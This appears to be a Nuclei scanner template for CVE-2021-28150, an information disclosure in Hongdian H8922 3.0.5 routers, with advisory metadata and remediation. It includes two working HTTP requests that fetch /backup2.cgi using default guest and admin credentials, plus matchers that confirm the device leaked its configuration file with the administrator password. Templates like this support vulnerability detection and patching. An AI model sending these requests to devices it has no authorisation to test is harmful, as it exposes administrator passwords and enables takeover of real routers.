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id : CVE-2021-28150
info :
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name : Hongdian H8922 3.0.5 - Information Disclosure
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author : gy741
severity : medium
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description : Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
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impact : |
Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
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remediation : |
Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
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reference :
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- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
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- http://en.hongdian.com/Products/Details/H8922
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28150
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classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 5.5
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cve-id : CVE-2021-28150
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cwe-id : CWE-425
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epss-score : 0.00253
epss-percentile : 0.63106
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cpe : cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : hongdian
product : h8922_firmware
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tags : cve2021,cve,hongdian,exposure
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http :
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- raw :
- |
GET /backup2.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /backup2.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
matchers-condition : and
matchers :
- type : word
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part : header
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words :
- "application/octet-stream"
- type : word
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part : body
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words :
- "CLI configuration saved from vty"
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- "service webadmin"
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- type : status
status :
- 200
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# digest: 4a0a00473045022100c210e8ed390ead0950a65257b8d9b9eed6a403b4234fe537f30c7d0529e9aad70220287ac350869e7bbabb19928f08ff35cffd9808b6371815e3dd78e9e0e64d7cce:922c64590222798bb761d5b6d8e72950